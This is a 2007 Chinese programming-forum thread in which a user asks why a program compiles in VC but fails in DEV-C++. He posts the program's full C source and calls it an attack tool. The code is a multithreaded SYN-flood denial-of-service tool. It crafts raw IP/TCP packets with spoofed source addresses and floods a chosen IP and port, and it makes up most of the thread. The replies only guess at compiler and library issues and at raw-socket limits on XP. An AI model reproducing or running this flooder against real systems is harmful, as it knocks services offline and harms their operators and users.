| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1320 人关注过本帖
标题:[求助]问一个关于DEV-C++的问题
只看楼主 加入收藏
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
结帖率:100%
收藏
 问题点数:0 回复次数:11 
[求助]问一个关于DEV-C++的问题

我在网上找了个程序 用VC编译 一切正常 可用DEV-C++(版本是4.9.9.2)编译 运行出错 总是显示

Can't connect this IP!Pls check it.

是不是跟库文件有关?

请高人指点 谢谢了

btw 这是个攻击器 用时小心

#include <winsock2.h>
#include <windows.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>
#include <malloc.h>

#pragma comment(lib,"libws2_32")
#pragma comment(lib,"libwsock32") /*这里改过了 在工程设置里也加了*/
#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define true 1
#define right "zklhp改编"
USHORT checksum(USHORT *buffer, int size);
int flood();

typedef struct tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;

typedef struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSD_HEADER;

WSADATA wsaData;
SOCKET sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}


int main(int argc,char* argv[])
{
HANDLE WINAPI CreateThread(LPSECURITY_ATTRIBUTES,DWORD,LPTHREAD_START_ROUTINE,PVOID,DWORD,PDWORD);
int _getch();
int portNum=0;
DWORD dw;
HANDLE *phThread=(HANDLE *)malloc(*((unsigned int *)(argv + 3)));
char putInfo;
unsigned int i = 0;

if (argc!=4)
{
printf("%s\n",right);
printf("Invalid command,Pls use:\n%s <IP> <port> <Thread>\nExample:%s 192.168.100.244 80 5",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
}
sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 5;
}
portNum=atoi(argv[2]);

memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);

ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]);

tcpheader.th_dport=htons((u_short)portNum);
tcpheader.th_sport = htons((u_short)portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
for (i = 0; i < *(unsigned int *)(argv + 3); i++)
{

*(phThread + i)=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,(void*) CREATE_SUSPENDED,0,&dw);
SetThreadPriority(*(phThread + i),THREAD_PRIORITY_HIGHEST);
ResumeThread(*(phThread + i));
}
printf("Warning[start]…………\nPress any key to stop!\n");
putInfo=(char)_getch();
for (i = 0; i < *(unsigned int *)(argv + 3); i++)
{
TerminateThread(*(phThread + i),0);
}
WSACleanup();
printf("\nStopd…………\n");

return 0;
}

int flood()
{
while(1)
{
if(SendSEQ++==65536) SendSEQ=1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR)
{
printf("\nCan't connect this IP!Pls check it.\n");
ExitThread(1);
}
// Sleep(1000);
}
return 0;
}

[此贴子已经被作者于2007-7-28 21:23:58编辑过]

搜索更多相关主题的帖子: 工程 comment include 
2007-07-23 17:42
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 

没人遇到类似的问题吗

[此贴子已经被作者于2007-7-23 19:24:27编辑过]

2007-07-23 19:21
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
请高人指点
2007-07-24 20:38
福尔摩斯
Rank: 5Rank: 5
等 级:贵宾
威 望:12
帖 子:4011
专家分:370
注 册:2006-8-15
收藏
得分:0 
Can't connect this IP

不能连接IP!

你的IP是不是有问题?

还是对方限制连接?

自我放逐。。。
2007-07-24 20:49
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用福尔摩斯在2007-7-24 20:49:27的发言:
Can't connect this IP

不能连接IP!

你的IP是不是有问题?

还是对方限制连接?

我的问题是 用vc编译正常 用DEV-C++就不行

vc编译的当然没问题了

好象是那个 libws2_32.a libwsock32.a的问题

2007-07-24 21:21
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
请指点
2007-07-24 21:50
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
高人给个说法
2007-07-28 20:43
ppm88
Rank: 5Rank: 5
等 级:贵宾
威 望:17
帖 子:1414
专家分:30
注 册:2007-1-28
收藏
得分:0 
vc通过,而dev没通过,说明还是DEV编译器的问题
2007-07-28 21:09
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用ppm88在2007-7-28 21:09:21的发言:
vc通过,而dev没通过,说明还是DEV编译器的问题

您觉得是哪里的问题 是库文件 还是其他的

2007-07-28 21:20
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
啦啦啦 我知道了

XP 早不支持raw socket 了 当然有问题

2010-06-14 13:17
快速回复:[求助]问一个关于DEV-C++的问题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.054953 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved